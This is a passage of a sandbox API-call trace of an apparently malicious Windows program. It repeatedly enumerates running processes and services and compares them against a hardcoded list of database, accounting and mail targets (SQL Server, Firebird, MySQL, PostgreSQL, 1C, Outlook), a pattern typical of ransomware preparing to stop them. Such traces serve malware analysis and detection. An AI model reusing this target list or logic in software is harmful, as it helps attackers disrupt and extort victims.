(lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.348] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.348] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.349] lstrlenW (lpString="PlugPlay") returned 8 [0272.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.349] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.349] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.349] lstrlenW (lpString="Power") returned 5 [0272.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.350] lstrlenW (lpString="ProfSvc") returned 7 [0272.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.350] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.350] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.350] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.351] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.351] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.351] lstrlenW (lpString="RpcSs") returned 5 [0272.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.351] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.351] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.351] lstrlenW (lpString="SamSs") returned 5 [0272.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.352] lstrlenW (lpString="Schedule") returned 8 [0272.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.352] lstrlenW (lpString="SENS") returned 4 [0272.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.353] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.353] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.354] lstrlenW (lpString="Spooler") returned 7 [0272.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.355] lstrlenW (lpString="SysMain") returned 7 [0272.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0272.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0272.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0272.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0272.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0272.356] lstrlenW (lpString="Themes") returned 6 [0272.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0272.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0272.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0272.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0272.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0272.356] lstrlenW (lpString="TrkWks") returned 6 [0272.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0272.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0272.357] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0272.357] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0272.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0272.357] lstrlenW (lpString="UxSms") returned 5 [0272.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0272.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0272.357] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0272.357] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0272.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0272.357] lstrlenW (lpString="WdiServiceHost") returned 14 [0272.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0272.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0272.358] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0272.358] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0272.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0272.358] lstrlenW (lpString="WdiSystemHost") returned 13 [0272.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0272.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0272.358] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0272.358] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0272.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0272.358] lstrlenW (lpString="Winmgmt") returned 7 [0272.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0272.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0272.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0272.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0272.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0272.359] lstrlenW (lpString="WPDBusEnum") returned 10 [0272.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0272.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0272.359] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0272.359] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0272.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0272.359] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0272.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c8 [0272.365] Process32FirstW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.367] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.368] lstrlenW (lpString="System") returned 6 [0272.368] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0272.368] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0272.368] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0272.368] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0272.368] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0272.368] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0272.368] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0272.368] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.369] lstrlenW (lpString="smss.exe") returned 8 [0272.369] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0272.369] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0272.370] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0272.616] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0272.616] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0272.616] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0272.617] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0272.617] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.618] lstrlenW (lpString="csrss.exe") returned 9 [0272.618] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.618] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.618] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.618] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.618] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.618] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.618] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0272.618] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.622] lstrlenW (lpString="wininit.exe") returned 11 [0272.623] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0272.623] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0272.623] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0272.623] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0272.623] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0272.623] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0272.623] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0272.623] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.624] lstrlenW (lpString="csrss.exe") returned 9 [0272.624] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.624] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.624] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.624] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.624] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.625] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.625] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0272.625] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.626] lstrlenW (lpString="winlogon.exe") returned 12 [0272.626] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0272.626] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0272.626] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0272.626] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0272.627] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.628] lstrlenW (lpString="services.exe") returned 12 [0272.628] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.629] lstrlenW (lpString="lsass.exe") returned 9 [0272.629] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.630] lstrlenW (lpString="lsm.exe") returned 7 [0272.630] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.631] lstrlenW (lpString="svchost.exe") returned 11 [0272.631] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.632] lstrlenW (lpString="svchost.exe") returned 11 [0272.632] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.633] lstrlenW (lpString="svchost.exe") returned 11 [0272.634] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.635] lstrlenW (lpString="svchost.exe") returned 11 [0272.635] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.636] lstrlenW (lpString="svchost.exe") returned 11 [0272.636] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.637] lstrlenW (lpString="audiodg.exe") returned 11 [0272.637] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.638] lstrlenW (lpString="svchost.exe") returned 11 [0272.638] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.639] lstrlenW (lpString="explorer.exe") returned 12 [0272.639] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.640] lstrlenW (lpString="dwm.exe") returned 7 [0272.641] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.642] lstrlenW (lpString="svchost.exe") returned 11 [0272.642] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0272.643] lstrlenW (lpString="winhost.exe") returned 11 [0272.643] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.644] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.644] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.645] lstrlenW (lpString="svchost.exe") returned 11 [0272.646] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.647] lstrlenW (lpString="taskhost.exe") returned 12 [0272.647] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0272.648] lstrlenW (lpString="reader_sl.exe") returned 13 [0272.648] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.649] lstrlenW (lpString="taskhost.exe") returned 12 [0272.649] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.650] lstrlenW (lpString="dllhost.exe") returned 11 [0272.650] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0272.803] lstrlenW (lpString="consent.exe") returned 11 [0272.803] Process32NextW (in: hSnapshot=0x3c8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0272.804] CloseHandle (hObject=0x3c8) returned 1 [0272.804] Sleep (dwMilliseconds=0x1f4) [0273.427] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0273.428] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0273.428] GetLastError () returned 0xea [0273.428] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0273.429] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0273.430] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0273.431] lstrlenW (lpString="Appinfo") returned 7 [0273.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0273.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0273.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0273.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0273.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0273.431] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0273.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.432] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0273.432] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0273.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0273.432] lstrlenW (lpString="AudioSrv") returned 8 [0273.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0273.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0273.432] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0273.432] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0273.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0273.432] lstrlenW (lpString="BFE") returned 3 [0273.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0273.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0273.433] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0273.433] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0273.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0273.433] lstrlenW (lpString="CryptSvc") returned 8 [0273.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.433] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.433] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.433] lstrlenW (lpString="CscService") returned 10 [0273.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0273.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0273.434] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0273.434] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0273.434] lstrcmpiW 